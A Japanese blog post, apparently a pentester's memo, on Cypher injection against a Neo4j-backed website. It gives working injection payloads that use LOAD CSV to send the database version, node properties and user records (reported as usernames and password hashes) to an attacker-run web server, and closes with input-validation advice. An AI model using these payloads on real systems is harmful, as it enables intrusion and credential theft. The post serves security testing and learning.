LoginSignup
2
0

More than 1 year has passed since last update.

Neo4Jへのインジェクション攻撃

Last updated at Posted at 2023-04-25

忘備録:Neo4jへの脆弱性診断手法の構築に向けて

Neo4jとは、グラフ構造のデータモデルを扱うデータベース管理システム(DBMS)であり、グラフデータベースに分類されます。多くは調べ切れていませんが、攻撃手法はまだまだ未開のような気がしています。

TL;DR

  • "Cypher Injection"としてまとまっている
  • インジェクション攻撃のレスポンスは、別のweb serverを立ち上げて、チェックする
  • Burpの拡張機能としてプラグインが存在する
  • 対策として、入力の検証を怠るな

脆弱性診断手順

利用ツール:Kali OSとペネトレーションツール
検査対象:Neo4Jデータベースで構築されたウェブサイト

手動で攻撃してみる。

Neo4jがインストールされているサーバーを発見する。早速、'(カンマ)を利用して、サイトの入力フィールドでインジェクションできる箇所を特定する。
image.png

実際にエラー(バグ)は以下のように表示された。
image.png

まず、Kali上でウェブサーバを起動。

python3 -m http.server 8000

バージョンの特定

IPアドレスとポートは変えてください。

' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

上記をウェブサイトのフィールドに挿入してみた。
image.png

Pythonで立ち上げたサーバのレスポンスに以下が表示される。
image.png

ラベルを指定してノード情報を取得

"Flag"ラベルを持つノードを取得

' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.4:80/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

実際には、何も取得できませんでした。

脆弱性検査なので、ユーザ周りに何かないか調べました。

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.4:80/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

実際には、ユーザ名とパスワードハッシュが取得できました。

詳細は以下に記述されている。

BURPの拡張機能は以下をチェック。試された方、フィードバックほしいです。
https://portswigger.net/bappstore/72f7b61e22f64ef5882dff6054df5ac7

ユーザ入力のチェックは必須。

ハッピーハッキング

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0